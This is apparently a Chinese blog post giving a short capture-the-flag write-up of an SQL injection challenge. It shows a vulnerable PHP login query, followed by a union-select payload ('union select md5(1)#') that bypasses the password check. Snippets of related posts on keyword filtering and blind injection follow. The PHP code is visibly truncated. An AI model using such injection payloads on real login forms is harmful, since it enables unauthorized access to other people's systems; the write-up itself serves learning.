SQL注入2

2022-08-28 17:06:21 字數 477 閱讀 7230

注入第二題~~主要考察union查詢

看來跟union聯合查詢有關

<?php

if($_post[user] && $_post[pass])

"; }

else

}?>

source

strcasecmp()用忽略大小寫比較字串.

$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));

if (($query[pw]) && (!strcasecmp($pass, $query[pw])))

觀察發現只要讓結果集中有你輸入密碼的md5值就行

union select md5(1)# & pass=1

flag: ntcf

防止SQL注入2

通過global.asax過濾關鍵字 方法一 protected void if request.form.count 0 else if s3 s1 方法二 比較好用 當有資料時交時,觸發事件 protected void 遍歷get引數。foreach string i in this requ...

SQL注入詳解 2

第二節 判斷能否進行sql 注入 看完第一節,有一些人會覺得 我也是經常這樣測試能否注入的,這不是很簡單嗎?其實,這並不是最好的方法,為什麼呢?首先,不一定每台伺服器的iis都返回具體錯誤提示給客戶端,如果程式中加了cint 引數 之類語句的話,sql 注入是不會成功的,但伺服器同樣會報錯,具體提示...

SQL注入原理高階篇 2

我們舉個例子,已知表admin中存在username欄位,首先,我們取第一條記錄,測試長度 先說明原理 如果top 1的username長度大於0,則條件成立 接著就是 1 2 3這樣測試下去,一直到條件不成立為止,比如 7成立,8不成立,就是len username 8 當然沒人會笨得從0,1,2...